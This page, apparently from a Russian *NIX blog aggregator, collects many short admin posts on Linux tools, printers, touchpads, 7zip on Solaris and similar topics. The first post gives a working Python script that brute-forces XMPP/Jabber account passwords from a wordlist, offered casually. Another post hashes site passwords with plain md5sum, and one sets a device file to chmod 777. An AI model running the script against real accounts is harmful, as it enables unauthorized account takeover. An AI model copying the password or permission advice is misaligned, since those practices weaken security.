RuNIX.org — планета блогов о *NIX на русском языке

Простой bruteforce паролей jabber (xmpp) на python — root@fox:~#

Делать было нечего, дело было вечером. Баловался с питоном. Код простой, в комментариях не нуждается.


#!/usr/bin/python
import re,sys,os,xmpp,time

if len(sys.argv) < 2:
 print "brute XMPP"
 print "Syntax: JID wordlist"
 print "JID = nick@jabberserver"
 sys.exit(0)

count = 0
JID = sys.argv[1]
wordlist = sys.argv[2]

try:
 words = open(wordlist, 'r').readlines()
except IOError, e:
 print "Sorry no words"

for word in words:
 word = word.replace("\n","")
 password = word
 JID = xmpp.protocol.JID(JID)
 client = xmpp.Client(JID.getDomain(),debug=[])
 conn = client.connect()
 if not conn: sys.exit(1)
 auth = client.auth(JID.getNode(), password, resource=JID.getResource())
 if auth == 'sasl':
  print 'yeee!',password
  sys.exit(1)
 count=count+1
 print count
 client.disconnect()

Отключение поиска по ctrl-e на Nokia N810 — Линукс штуки!

Тоже из старых заметок. На N810 интенсивно пользуюсь emacs из консоли. Но при нажатии C-e в таком случае появляется окно поиска maemo. Это естественно не удобно. Для отключения надо сделать следующее:

$ gconftool -s /apps/osso/keybindings/global/osso-global-search --type=string ''

md5sum для паролей — Линукс штуки!

Давно в заметках висело. Надо было когда-то быстро пароли с помощью md5sum зашифровать для сайта. Из консоли это делается так:

echo -n "test" | md5sum

Linuxnow.ru: Планы на будущее — LinuxNow.ru -всё, что вы хотели бы знать о GNU/Linux

На днях нашему сайту исполнилось 6 месяцев. За это время мы успели написать немало статей, но сам движок и дизайн сайта практически не изменился (по мере работы сайта изменения были только в боковой панели). По мере использования сайта было выявлено несколько ошибок, некоторые из которых до сих пор не исправлены. Валидатор w3c находит много ошибок в исходном коде, а в php коде самого движка довольно много утечек памяти и неэффективных функций. Оч...

Puppet: настройка Puppet fileserver для отдачи файлов и директорий — STALKER`s project::Blog

Что такое Puppet fileserver? Puppet fileserver – сервис позволяющий забирать с Puppetmaster`a файлы и папки, используемые в вашей конфигурации. С помощью файлсервера, к примеру, вы можете передавать на сервера файл /etc/resolv.conf содержимое которого будет зависеть от $hostname. Лично я использую fileserver для кастомного софта, который не могу установить из репозитория или собирать пакет слишком долго. [...]

Вятским пидагогам далеко до своих предков — Заметки на breys.ru

Вот что записано в истории за жителями Кировской области и в том числе за нашими педагогами

В 1941 году в нашу область было эвакуировано из Ленинграда и области 143 детских сада, 27 детских домов, 61 школа-интернат. В них 28093 ребёнка. На 20 сентября 1942 года в области располагалось 45 школьных интернатов, смешанных - 112, дошкольных - 15, детских домов - 39, домов малюток - 17. Подавляющее большинство детских учреждений было из Ленинграда и области. Дети были размещены преимущественно в районах: Кировском, Оричевском, Просницком, Котельничском, Фаленском, Омутнинском, Свечинском, Халтуринском, Бельском. Количество детей перевалило через 29 тысяч (29619).32
....
Уже в сентябре 1942 года все детские учреждения были обеспечены топливом, теплой одеждой, обувью. Каждое детское учреждение имело шефа (коллектив колхоза, совхоза, предприятия, комсомольской организации). Ослабленных, больных детей направляли в специально созданные в области санатории.35К началу 1945 года у нас размещалось уже 137 детских домов.

А то, что произошло совсем не давно я не знаю как и объяснить:

Якобы все учителя моей области сдаются перед необходимостью замены коммерческого ПО на некоммерческое, причём данная необходимость и задача является общероссийской и не является чьей то блажью, а на самом деле есть вполне обдуманный и естественных шаг эволюции информационной отрасли всего мира

Вот ссылка на письмо в котором якобы все наши учителя припадают к ногам президента и умоляют не заставлять их этого делать и купить наконец им все нужные коммерческие программы, при этом наша область является дотационной и одной из самых нищих в стране

По ссылке какой то яблофил рассуждает о внедрение СПО и говорит от лица всех учителей, что само по себе смешно. Но ещё смешнее то, что у вятских пидагогов проблемы не только с освоением СПО но даже с и их, якобы любимой, Виндоуз. Иначе нельзя ни как объяснить присутствие вирусов на любой флешке из школы или вуза, а так же появление в офисах мартышек которые привыкли видеть зелёные кнопку с нижнем левом углу, а без этой кнопки рабочий день не начинается

а ленивым пидагогам - стыд и срам. (Мойдодыр)

Почтовое — Журнал Витуса.

Обнаружил тут, что dovecot-antispam поддерживает crm114 и dspam но не поддерживает старый-добрый spamassassin.

И задумался.

Разработчикам dovecot-а я в последнее время сильно доверяю.
И если они не собрались поддержать spamassassin, может быть это сигнал что с него надо переезжать. На тот же crm114. Тем более, что и dspam, и crm114 должны быть вроде менее требовательны к ресурсам, чем SA.

Кто-нибудь имел возможность сравнить spamassassin с этими двумя продуктами?
И как?

Следующий месяц в GNU date — Bappoy's blog » linux

Если 31 августа спросить у GNU date, какой будет следующий месяц, результат будет немного странным:

$ date
Tue Aug 31 11:32:35 UTC 2010
$ date +"%Y-%m" --date "next month"
2010-10
$ date +"%Y-%m" --date "next month"
2010-10

Документация GNU date (см info date Relative items in date strings) специально обращает внимание на эту проблему и рекомендует вычислять следующий месяц не для сегодняшнего числа, а для 15 числа текущего месяца:

$ date +"%Y-%m" --date "$(date +%Y-%m-15) next month"
2010-09

Русский Chromed Bird — Take World

Chromed Bird - twitter клиент для Google Chrome, скачать можно на официальной странице.

Проект зарегистрирован на github, ну и я решил, "а почему бы не помочь проекту?". Самое простое что было - перевести на Русский язык. Так что представляю вам, первую экспериментальную версию Chrome Bird с поддержкой Русского языка.

Картинку можно посмотреть тут.

Что бы установить, нужно установить git и получить последнюю версию моей ветки chromed bird.
<script src="http://gist.github.com/557314.js"> </script>
После этого заходим в управление расширениями Chrome, включаем режим разработчика, и нажимаем "загрузить распакованное расширение".
Если нашли какие то ошибки, можно написать в комментарий снизу, или на мою страницу github (http://github.com/nagos/chromed_bird).

Запрос на объединение с официальной версией я уже отправил, жду одобрения разработчика.

Пока я это делал, разобрался с Git. Оказалось что это клевая штука. А GitHub вообще великолепен, не зря его иногда пишут как преимущество перед остальными системами контроля версий.
Код выше, тоже размещен на GitHub, через сервис gist. Нажав на кнопки под кодом, можно посмотреть оригинал (view raw) и скачать его (имя файла).

Вот пара ссылок для интересующихся Git, мне очень помогли:
http://git-scm.com/
Краткое руководство
Git в примерах

NRPE: Could not complete SSL handshake. — STALKER`s project::Blog

Сегодня столкнулся с такой ошибкой при настройке NRPE: CHECK_NRPE: Error - Could not complete SSL handshake. Долгие мучения настроек и гугления заняли несколько часов, но по итогу оказалось что указываемые в опции allowed_hosts хосты должны быть разделены только запятыми, а я по привычке после запятой поставил пробел. В итоге следующая стока давала не очевидную ошибку allowed_hosts=127.0.0.1, 192.168.0.2

mediawiki 1.16.0 rpm для RHEL5 — GreenMice - linux

Yaws - лёгкий web сервер на Erlang — Linux для всех » Linux

Yaws web server logo

Недавно на всех серверах кои я администрирую, решил сменить lighttpd на что либо ещё более лёгкое, и конечно же, под чем либо более лёгким, я имел в виду nginx. Однако, раз уж я захотел сменить web сервер, то я не мог не посмотреть из интереса на другие лёгкие web сервера, и не мог не заметить web сервер Yaws.

Yaws (Yet Another Web Server) - web сервер написанный на языке Erlang. На языке, который по праву считается крайне производительным. Тоже самое можно сказать и об самом web сервере: по сравнению с apache2, yaws - просто реактивный.

Yaws поддерживает два режима работы:

  • Как отдельный web сервер
  • Как интегрированный web сервер в другое erlang приложение

Я опишу первый вариант.
(...)
Читать дальше Yaws - лёгкий web сервер на Erlang (203 words)


© bosha for Linux для всех, 2010. | Permalink | Нет комментариев | Add to del.icio.us
Post tags: , , , , , ,

CDemu: монтирование образов MDS/MDF, CUE/TOC, NRG под Linux и в DOSBox, пакеты для Debian — RU Linux

CDemu: монтирование образов MDS/MDF, CUE/TOC, NRG под Linux

Монтирование ISO-образа DVD или CD диска поддерживается ядром Linux. Для монтирования образов, сделанных программами Nero, Alcohol 120% и другими можно использовать программу CDemu, которая эмулирует физическое устройство, является аналогом Daemon Tools.

Внизу можно скачать пакеты i386 для Debian Lenny (Stable) и Squeeze (Tesitng), которые я собрал с помощью checkinstall. После установки пользоваться в командной строке.

Обновляем зависимости модулей и загружаем модуль виртуального устройства:

depmod -a
modprobe vhba

Появляется устройство /dev/vhba_ctl на которое даем права всем пользователям:

chmod 777 /dev/vhba_ctl

Запускаем демон CDemu с подключением через сессию пользователя DBUS и выводом звука через ALSA:

cdemud -b session -a alsa

Вставляем в виртуальное устройство 0, например, MDS-образ диска от первых героев с CD-треками:

cdemu load 0 -b session "Heroes of Might and Magic - A Strategic Quest (1995).mds"

Есть также программа gCDEmu для быстрого монтирования из Gnome, но я ее не пробовал.

После этого обычно выскакивает диалог автомонтирования и образ монтируется как обычный CDROM. Можно ходить в файловом менеджере через точку монтирования /media/Heroes, проигрывать CD-треки обычными CD-проигрывателями через устройство /dev/sr0 или смонтировать диск целиком для прямого доступа в эмуляторе DOSBox:

mount D /media/Heroes -t cdrom -ioctl

P.S. Недавно вышла новая версия 1.3.0 с бинарными пакетами для Ubuntu и простым способом сборки официальных пакетов под Debian.

Блог: RU Linux

Отчёт с прошедшего слёта пользователей Linux в Волгограде — LinuxNow.ru -всё, что вы хотели бы знать о GNU/Linux

Вчера состоялось одно из не частых событий - слёт пользователей Linux в городе Волгоград. Из зарегистрированных 52 участника пришли чуть-менее 20. Огорчает, но все-же уже неплохая компания была. После встречи у фонтана "Дружба" на набережной мы направились за пивом, соком, чипсами и прочей нямкой и ушли в парк для обсуждения очень важных вопросов касающихся Opensource и linux в целом, хоть и половина разговоров имело очень небольшое отношение к l...

Cups и HPLIP — Linux Maniacs

Сегодня обнаружил, что мой принтер hp1018 перестал печатать. Оказалось, что после обновления CUPS до версии 1.4.4 драйвер foo2zjs перестал работать. А так как последняя версия ebuild-a датируется 2008 годом, пришлось настраивать в CUPS использование драйверов HPLIP. И надо сказать, что это оказалось весьма легко и просто.
Ставим HPLIP:
USE="X hpcups libnotify policykit qt4 static-ppds udev-acl -doc -fax -hpijs -minimal -parport -scanner -snmp" emerge -vat =net-print/hplip-3.10.6

Пересобираем CUPS (не знаю зачем, но без этого не работало):
USE="X acl dbus gnutls java jpeg pam perl png python samba slp ssl threads tiff usb -debug -kerberos -ldap -php -static -xinetd" emerge -vat net-print/cups-1.4.4

После этого запускаем hp-setup,настраиваем принтер, перезапускаем cups.
и вуаля, все должно заработать с пол-пинка.

The End — Aceler online

Отчётик о завершении проекта по внедрению Linux в Дзержинске с цифрами и фотками.

Запись опубликована Aceler online. Вы можете оставить комментарии здесь или там.

Включаем EPEL (Extra Packages for Enterprise Linux) репозитарий для Red Hat Enterprise Linux / CentOS Linux. — Выделенный сервер своими руками

К своему стыду, признаюсь, что о замечательном репозитарии  EPEL я узнал совсем недавно. Немного поковырялся с ним и решил написать небольшую заметку о нем, и о том, как его быстро и безболезненно поставить.

Итак. EPEL - (Extra Packages for Enterprise Linux) является является репозитарием, основанным сообществом Fedora project  как хранилище высококачественных дополнительных пакетов, которые дополняют как они пишут "Fedora based" Red Hat Enterprise Linux (RHEL).  Конечно же, если этот репозитарий подходит для RHEL, значит он может использоваться и для RHEL клонов, таких как, например, CentOS или Scientific Linux.

читать далее

Проблема с tun/tap в OpenVPN — Выделенный сервер своими руками

Иногда при установке и настройке  OpenVPN на вашем VPS при запуске сервера openvpn он не стартует и в логах мы можем наблюдать следующую ошибку:

 Jul 5 10:28:23 server openvpn[31040]: Note: Cannot open TUN/TAP dev /dev/net/tun: No such file or directory (errno=2)
 Jul 5 10:28:23 server openvpn[31040]: Cannot allocate TUN/TAP dev dynamically

читать далее

Автоматическое отключение тачпада во время набора текста — Linux для всех » Linux

Touchpad

Далеко не все используют тежеловестные DE на ноутбуках и нетбуках. Многие предпочитают им более лёгкие WM, например Openbox, fluxbox, wmii и другие. Они всем замечательны, но в них нет возможности настраивать всё через графические утилиты, в том числе touchpad. У меня на нетбуке уже очень давно поселился и живёт xmonad, и бесило меня то, что я регулярно задевал тачпад во время набора текста, что создавало неудобства. Например в Gnome можно было в настройках указать это, но так как у меня был не Gnome, а как сделать это без него я не знал, и времени на поиск решения не было, то я оставил всё так, как есть. Так было довольно долго, пока в один день меня это окончательно не достало, и я наконец не настроил тачпад.

Вся сложность была в том, что у меня стоял самый свежий Xorg, и в нём по умолчанию была выключена опция SHMConfig нужная для работы syndaemon, которым я собственно и пользуюсь для автоматического отключения тачпада во время набора текста. Фактически всё упиралось в то, что я не знал где в новом Xorg находятся файлы конфигурации, отсутствии времени и банальной лени :) Что-то я увлёкся. Теперь к делу. Хотя делом назвать это трудно, ибо оказалось всё до нельзя легко.
(...)
Читать дальше Автоматическое отключение тачпада во время набора текста (160 words)


© bosha for Linux для всех, 2010. | Permalink | 25 комментариев (ая) | Add to del.icio.us
Post tags: , , , ,

Как добавить ботов в Urban Terror для offline игры — Linux & Life

Чего иногда в линуксе не хватает это некоторых игр. Большинство народу, купившие свои PC-юки в период 99-2004 года несомненно хоть несколько раз сыграли в Counter Strike, Quake, Warcraft, Starcraft и т.п. классику. Поэтому хоть редко, но хочется вспомнить старину. Раньше я запускал через Wine Counter Strike 1.6, но из за нехватки места на диске потер архив и .wine с установленной игрой, качать

Интернет-магазин — RU Linux

Cделали интернет-магазин подарков для айтишников и никсоидов обоих полов: одежда, сувениры с принтами и т.д. Добро пожаловать :)

Блог: Urza's blog

37-й выпуск журнала FullCircle на русском языке — Open source день за днём

Этот журнал посвящен Ubuntu и open source. На его страницах вы найдёте новости, руководства и обучающие статьи. В 37-м выпуске: * Покоряй и властвуй * How-To - Программа на Python – часть 11 - Скринлеты - Потоковые данные * Обзор – Lubuntu * Интервью с MOTU – Стефан Ласичник * Top 5 – Фреймовые оконные [...]

Sun -> Oracle истерия продолжается — записки юного БСДешника

А позанудствую и я немного, а то вроде пинал пинал периодически детище под названием OpenSolaris, и даже тут описывал вроде не раз, даже вон под тегом Solaris, целая пачка постов накопилась.
Суть истории наверное всем известна "злой" Oracle закупил белого и пушистого Sun, и теперь всё позакрывает и всех засудит. Ну как и большинство ЖЖЖ... это конечно не спроста, и некоторые предпосылки есть, а самое главное нет никакой определенности.
Ну для начала мои мысли, о том как мы дошли до жизни такой. С обывательской точки зрения вроде опять всё не сложно. Ну не заладились у Sun дела в нынешних условиях, уж почему точно судить специалистам, но скорей всего так просто получилось, ну а так как у них имелось в принципе не маленькое число всяких интересных решений, специалистов, и руководство которое поняло что на открытии этих технологий вполне можно сыграть, так вот и образовался OpenSolaris, и сопутствующие проекты. Но чего то там вроде акционеры запротивились, и долго ли скоро ли, продали всё это дело Oracle, а та как и полагается гиганту, решения принимает неспешно, и что более обидно не публично.
Сообщество по крайней мере, на взгляд со стороны, вроде как было, даже целых несколько, но выглядело это всё как то не по настоящему, и казалось что держится всё на тех же инженерах Sun. Что было в принципе довольно странно, ибо система в принципе весьма живая, технологии своеобразные, но весьма интересные, опять же высоко классные специалисты, и куча материалов, да даже железные ресурсы предоставлялись при желании. Ну и опять же конференции, ежемесячные встречи, причём встречи не абы с кем, а с народом с которым при желании можно было весьма интересно пообщаться, но вот чудо не шел народ, даже на линуксовки приходит больше :)
Конечно немного накладывало отпечаток что часть системы оставалась закрытой, но так ли это критично, сейчас сложно найти что то без блобов в виде фирмварей, или чего похуже, и ничего живут, ну тут конечно порадовали юристы придумав CDDL (тонкий тролинг GPL).

Но больше всего всё же поражают нынешние стенания и крики по поводу перспектив, ну недавно после "утечки" началась новая волна, особенно забавляет народ, который похоже не прочел, или прочел то что хотел, но по сути докумен весьма нейтрален, и всё может сложится по разному, ну и сообщество подлило масла в огонь, с ультиматумами, и роспусками совета. В общем весело, но пока всё ещё туманно, а ну да на английском, как впрочем и в каких то кажется наших блогах, всё же был народ который прочел и призывал пока не паниковать, но ктож их услышит.

А перспективы, ну фик знает увидим конечно, а так если вспомнить те же *BSD родились из юникса, с боями скандалами и даже судом, а тут вроде пока всё даже весьма по джентельменски, там конечно ситуация отчасти была попроще, но сейчас времена поцивилизованнее.
Ну а кому интересно и кто ещё вдруг не видел то история то она вот такая, и как видно много кто во что превращался и умирал и возрождался.

Сумбурно конечно, но что то вот не смог смолчать :)

Unzip, cp1251 и UTF-8 - исправляем русские имена файлов — Верхом на Debian GNU Linux

Распаковывая виндовые архивы с русскими именами файлов столкнулся с неприятной особенностью. Имена файлов не то что нечитабельные, они вообще непригодные для работы с ними. Ни открыть, ни скопировать толком... Достало. Пришлось лечить. Предлагаю мой отшлифованный и отлаженный вариант костыля. Поиски по инету дали только один вариант решения проблемы - утилита convmv (не забудьте aptitude install

Linux во всех школах г.Дзержинска — Aceler online

На персональные компьютеры во всех школах и образовательных учреждениях города по инициативе городского управления образования была установлена операционная система Linux. Установка прошла силами специалистов нижегородской компании ООО «Элсис» с привлечением участников Нижегородской группы пользователей Linux, специалистов компании ООО «Пингвин Софтвер» и нижегородского представительства компании «ГНУ/Линуксцентр». В акции участвовало 39 школ и 11 специализированных учебных заведений дополнительного образования, всего было переведено почти 500 персональных компьютеров, включая рабочие компьютеры непосредственно в управлении образования.

Пресс-релиз.

Запись опубликована Aceler online. Вы можете оставить комментарии здесь или там.
faces/muhas.png

Больше велосипедов хороших и разных: ude-movie-player — muhas — Заметки аскетичного гика

ude-movie-playerПростой видеоплеер на PyGTK для Linux. При запуске вопрошает у пользователя какой же файл ему надо играть (если, конечно, файл им не открывается). Выбираем файл и видим до ужаса простой интерфейс (причем даже без обрамления окна) — кнопки свернуть, развернуть, закрыть, фулскрин, кнопка пауза/играть, полосу прокрутки и всё. т.е. вообще всё... плеер больше ничего не умеет кроме того для чего есть кнопочки, т.е. даже регулятор громкости придется использовать системный.
Но это-то в нем меня и подкупило — для быстрого предпросмотра с мышкокликательством самое оно, такая замена mplayer, хотя ude тоже позволяет работать с клавиатуры.
Проигрыватель новый, так что, возможно в функциональном плане будет рости.

Конечно же это очередная морда к GStreamer со всеми его недостатками из которых меня больше всего бесит достаточно тихий звук, но пока единственная которая мне понравилась...

На домашней страничке плеера имеется видео. Для арчеводов как всегда в aur имеется PKGBUILD

Перенос Sharepoint-учеток в домен — root@fox:~#

Немного не по теме блога, но все же админское, наболевшее.

В знакомой организации проводим реструктуризацию ИТ. Всех загоняем в домен, и сервера в том числе. Так как с виндовыми серверами мне дело приходится иметь не часто, то приходится по ходу дела разбираться. Основной проблемой оказался перенос учетных данных в домен, особенно тех которые были в сервере Sharepoint.

Сами учетки и пароли к ним переносил используя ADMT и PES.

А вот с учетками sharepoint на первый взгляд казалось все сложнее. Но, все придумано за нас:


C:\Program Files\Common Files\microsoft shared\Web Server Extensions\12\BIN>stsadm -o migrateuser -oldlogin WSSSERVER\userlogin -newlogin NEWDOMAIN\userlogin

Душа? — Случайные заметки

Я, кажется, понял, что такое душа :) По крайней мере, с точки зрения кибернетики.

Понятно, что человек — достаточно сложное устройство. Так что будем рассматривать устройство попроще, а именно: чёрный ящик с десятью кнопочками и десятью лампочками. В зависимости от нажатия кнопочек загораются какие-то лампочки. Можно выделить два типа поведения таких ящиков:

  1. Какие лампочки сейчас горят, зависит только от того, какие кнопочки сейчас нажаты, и ни от чего больше.

  2. Включение лампочек зависит не только от того, какие кнопки нажаты, но и от порядка нажатия.

Пусть мы хотим моделировать такие ящики на Haskell. Пусть мы ввели тип X для обозначения множества нажатых в данный момент кнопок, и тип Y — для множества горящих лампочек. Например, это можно сделать так:

import qualified Data.Set as S
type Button = Int
type Lamp = Int
type X = S.Set Button
type Y = S.Set Lamp

Тогда ящик из пункта 1) можно полностью описать функцией с типом

f1 ∷ X -> Y

Это так называемая чистая функция. Заметим, что такая функция не может создавать слишком сложного поведения ящика. Действительно, если f1 очень замысловатая, то, тыкая в кнопки на ящике, мы не сможем разгадать устройства функции f1. Но мы сможем составить табличку из двух колонок: «нажатые кнопочки», «горящие лампочки». Формально говоря, эта таблица — график функции f1. Строк в этой таблице должно быть всего-то навсего 2^10, т.е. 1024. Пользуясь этой таблицей, мы легко сможем предсказывать поведение ящика, сколь бы сложной ни была функция f1.

Ящик же из пункта 2) можно описать функцией с более сложным типом:

import Control.Monad.State
f2 ∷ X -> State St Y

где St — какой-нибудь более или менее замысловатый тип данных. Гипотеза: чем сложнее тип St, тем сложнее может быть поведение функции f2. Возьмём сначала очень простой тип: type St = Bool. Тогда f2 представляет собой конечный автомат с двумя состояниями. Ничего принципиально более сложного, чем двухтактный счётчик, из такого автомата не сделать. Возможно, например, такое поведение: при чётных нажатиях на первую кнопку загорается пятая лампочка, а при нечётных - десятая. Этот алгоритм легко разгадать наблюдениями, никакой загадочности в нём нет. Если type St = Int, то можно придумать уже гораздо более сложное поведение. А уж если, скажем,

data Tree a = Node a | Branch [Tree a]
type St = Tree [Maybe Int]

или что-нибудь ещё такое понавороченнее, то поведение f2 может быть очень сложным и даже загадочным. В процессе нажимания на кнопочки на таком ящике и наблюдения за лампочками нас вполне может посетить мысль, что в ящике сидит какой-то инопланетянин, а кнопочки и лампочки — это у него такой способ общения. Ну, я думаю, вы уже поняли мою гипотезу: душа — это и есть вот это состояние в смысле монады State!

Отсюда следуют некоторые интересные мысли. Например, мы часто говорим о человеке что-нибудь вроде «у него сложный характер» или там «у него настоящая загадочная русская душа»… Оказывается, в указанном выше смысле, понятию сложности души можно придать вполне конкретный смысл — это просто сложность типа данных! :)

Или рассмотрим какую-нибудь очень сложную программу, например банковскую опердень или ОС Windows. Такие программы обладают одновременно двумя свойствами:

  • Их поведение во многих случаях загадочно, далёкие от ИТ пользователи даже часто склонны их одушевлять;

  • Они написаны так, что содержат изменяемое состояние, причём это состояние само по себе очень сложное (ну, например, состояние базы данных).

В свете рассуждений выше мы видим, что одновременность появления этих свойств отнюдь не случайна. «Душа» таких программ по сложности сопоставима с душой человека, что ж удивляться, что она загадочна? Кроме того, оказывается, те далёкие от ИТ пользователи правы в вышеприведённом смысле.

Как установить самую последнюю версию UFRAW — Заметки на breys.ru

Задача установить у дизайнера самую последнюю версию программы для работы с RAW изображениями, удалённого доступа нет

вот этими командами я установил самую последнюю версию этой программы у себя

sudo aptitude install libgtk2.0-dev liblcms-dev libgimp2.0-dev libtiff-dev libjpeg62-dev libpng12-dev libexiv2-dev zlib1g-dev libbz2-dev libgtkimageview-dev
cd ~/
wget 'http://downloads.sourceforge.net/project/ufraw/ufraw/ufraw-0.17/ufraw-0.17.tar.gz?r=http%3A%2F%2Fufraw.sourceforge.net%2FInstall.html&ts=1282625340&mirror=citylan'
tar -xzvf ufraw-0.17.tar.gz
cd ~/ufraw-0.17/
./configure --enable-mime --enable-extras --enable-dst-correction  --enable-contrast --enable-interp-none  --with-prefix --with-dosprefix --prefix=$HOME/ufraw
make && make install
cd ~/
rm -fR ufraw-0.17


если каждый шаг пройдёт успешно, то вот тут  $HOME/ufraw/bin/ufraw будет нужная программа

но если хоть один шаг обломится, то ничего не получится
я хочу сказать, что это по-настоящему сложно, я учился этому годами и то, что я тут понаписал НЕ случайные символы, а каждый символ понятен и каждый важен

если не получится, то это не значит абсолютно ничего, кроме того, что придётся ехать и разбираться самому

А вот кому opensource софта для дронов — Журнал Витуса.

Yet another Android applications set — ♠ Краплёная колода

В заметке, повествующей об HTC Desire и Android, обещал опубликовать свою подборку приложений. Камнем преткновения стали ссылки на страницы в Android Market. На всех wiki-подобных сайтах URL, содержащий конструкцию market://, парсер беспощадно удалял. Позже, когда я вновь вернулся к этой проблеме, попробовал скормить ссылку укорачивателю. Убедившись в работоспособности способа, принялся составлять список. Стоит оговориться, подобных подборок в интернете пруд пруди, но зачастую в них отсутствуют даже QR-коды.
Logo Android by Dekuwa, on Flickr
Creative Commons Attribution-Noncommercial-Share Alike 2.0 Generic License  by  Dekuwa

По задумке все программы должны были снабжаться QR, ссылкой на маркет и кратким описанием. Это позволит новичкам в Android, но гикам в душе, установить джентльменский набор максимально быстро.
Консультации с коллегами-блогерами привели к росту перечня. Чтобы не раздувать список, аналогичные по функциям приложения вынес на отдельную страницу.
Собственно, результат разместил на pbworks.com.

7zip в Solaris — Unix pin

Оказывается, что помимо стандартных compress, zip, gzip ,bzip2 в Solaris 10 входит еще и 7zip, что не может не радовать.  Chapter 4 What’s New in the Solaris 10 5/08 Release

# 7z -?

7-Zip 4.55 beta Copyright (c) 1999-2007 Igor Pavlov 2007-09-05
p7zip Version 4.55 (locale=C,Utf16=off,HugeFiles=on,256 CPUs)



Usage: 7z [...] [...]
[<@listfiles...>]
...
# which 7z
/usr/bin/7z
# grep /usr/bin/7z /var/sadm/install/contents
/usr/bin/7z f none 0555 root bin 410828 28364 1203706028 SUNWbzip
/usr/bin/7za f none 0555 root bin 1320752 30201 1203706028 SUNWbzip
/usr/bin/7zr f none 0555 root bin 793776 31270 1203706028 SUNWbzip

Что характерно, находится в том же пакадже, что и bzip2 (кстати, может паковать в любой из далее перечисленных архивов : 7z, zip, gzip, bzip2, tar)

К сожалению, пакует только в один поток, во всяком случае в манах не описано как запустить многопоточность, а то процессоров навалом – нужно их нагружать, обидно. Бинарники под Solaris идут под версию 4.5 (на sunfreeware – 4.6), а сырцы уже версии 9, может там многопоточность реализована.

UPDATE: 20100823
Волшебные ключики для multithreading : -mmt=16 -m0=bzip2 ( работает только для bzip2 и lzma алгоритмов )
Результат экспериментов на 8-ми процессорном SunFire 880:
# rm /tmp/test.7z ;time 7z a -t7z -m0=bzip2 -mmt=off -bd /tmp/test /var/sadm/patch/ >/dev/null
real 0m12.160s
user 0m11.949s
sys 0m0.118s
# rm /tmp/test.7z ;time 7z a -t7z -m0=bzip2 -mmt=2 -bd /tmp/test /var/sadm/patch/ >/dev/null
real 0m6.866s
user 0m12.163s
sys 0m0.136s
# rm /tmp/test.7z ;time 7z a -t7z -m0=bzip2 -mmt=4 -bd /tmp/test /var/sadm/patch/ >/dev/null
real 0m3.978s
user 0m12.005s
sys 0m0.159s
# rm /tmp/test.7z ;time 7z a -t7z -m0=bzip2 -mmt=8 -bd /tmp/test /var/sadm/patch/ >/dev/null
real 0m2.944s
user 0m12.192s
sys 0m0.223s
# rm /tmp/test.7z ;time 7z a -t7z -m0=bzip2 -mmt=16 -bd /tmp/test /var/sadm/patch/ >/dev/null
real 0m2.912s
user 0m13.039s
sys 0m0.357s
# rm /tmp/test.7z ;time 7z a -t7z -m0=bzip2 -mmt=32 -bd /tmp/test /var/sadm/patch/ >/dev/null
real 0m3.014s
user 0m12.889s
sys 0m0.574s

Оптимальное число потоков для этого сервера – 16 ( проверка еще на нескольких серверах – показывает, что параметр -mmt=16 будет лучшим выбором )

Интересное замечание в манах:
Backup and limitations
DO NOT USE the 7-zip format for backup purpose on Linux/Unix
because :
- 7-zip does not store the owner/group of the file.

On Linux/Unix, in order to backup directories you must use
tar :
- to backup a directory : tar cf - directory | 7za a -si directory.tar.7z
- to restore your backup : 7za x -so directory.tar.7z | tar xf -

Ссылки в тему:
Chapter 4 What’s New in the Solaris 10 5/08 Release
7zip
Source of p7zip

ANN: Matreshka 0.0.5 — Linux Maniacs

Hello, I'm happy to announce new version of Matreshka toolkit version 0.0.5 for Ada language.

This version includes following features:


  • Text decoder (New) : various text encodings are supported
  • Message translator (New) : for localization of application's messages
  • New extensions of string manipulation package (New)
  • XML reader (New) : supports socket as input source
  • XML reader (New) : incremental parsing of input xml stream supported
  • A lot of bug fixes and performance improvements.
New version can be downloaded here : http://adaforge.qtada.com/cgi-bin/tracker.fcgi/matreshka/downloader
faces/muhas.png

Костыли для тачпада — скролл и средняя кнопка на тачпаде с их отсутствием — muhas — Заметки аскетичного гика

Костыли для тачпада — скролл и средняя кнопка на тачпаде с их отсутсвиемУ меня недобук, на нем недотачпад, две клавиши которые одновременно нажимать очень неудобно (Как вы, наверное, знаете - одновременное нажатие правой и левой кнопки это аналог нажатию средней кнопки) и никакого намека на скролл с помощью этого тачпада.

Но благодоря приведенному ниже костылю есть возможность скролить проводя по тачпаду двумя пальцами (у меня msi u100, но судя по всему работает и на многих других).

Костыль раз — скролл

Костыль слева:
Запускаем в терминале или вешаем в автостарт с иксами
synclient VertTwoFingerScroll=1
synclient HorizTwoFingerScroll=1
synclient EmulateTwoFingerMinW=5
synclient EmulateTwoFingerMinZ=48

Костыль справа:
Добавляем в нужную секцию xorg.conf или в нужный файл в xorg.conf.d (секция synaptics — что-то вроде Section "InputClass" Identifier "touchpad")
# включаем костыльный скрол на тачпаде с его отсутсвием
	Option "VertTwoFingerScroll" "1"
	Option "HorizTwoFingerScroll" "1"		
	Option "EmulateTwoFingerMinW" "5"		
	Option "EmulateTwoFingerMinZ" "48"	
# /end

На самом деле оба метода одинаковы, просто как всегда это бывает можно поступить так как удобнее...
Скролл будет как вертикальный так и горизонтальный.

Костыль два — средняя кнопка мыши

Ну а про нажатие средней клавиши на тачпаде при её отсутсвии не так давно мне подсказали в жуйке. Собственно сам метод (который, к слову сказать, ещё и отключает тачпад при наборе текста):
syndaemon -i 1 -d -K && xinput set-int-prop \"SynPS/2 Synaptics TouchPad\" \"Synaptics Two-Finger Pressure\" 32 10 &","0","*")
Но сие колдовство не подвластно моему ленивому разуму, поэтому в формат конфига иксов я сие не переводил.
После запуска этой команды тап по тачпаду двумя пальцами будет расцениваться xorg как нажатие средней кнопки мыши.


В общем несмотря на убогий тачпад, его всё же можно сделать более комфортным...

7.3 вышел! — Всё о Vim

Ура, после 2 лет разработки 7.3  таки вышла в свет! Как описывает сам Брэм, с одной стороры, это 7.2 + патчи и немного ещё, то есть как бы минорный релиз. С другой стороны, 2 года разработки и всё-таки в том числе и новый функционал, то есть не совсем минорный, но и не главный выпуск. Получается, что-то среднее:) По сравнению с предыдущими бетами по идеи должны были добавить только исправления ошибок, так что новые фишки уже описаны ниже.

GQ

Невинномысск — GQ's blog » Linux

Улетаю в Невинномысск. Буду там до начала сентября. Если кто-то из местных хочет обменяться PGP ключиками или там порасспрашивать меня про проект Debian, то пишите на gq@debian.org.

Убрать звуковую дорожку — Matter of Attitude

ffmpeg -i INPUT.MOV -an -vcodec copy OUTPUT.MOV

CDO (Climate Data Operators) - рабочая лошадка для обработки netCDF файлов — Записки океанолога - обработка и визуализация данных » nix

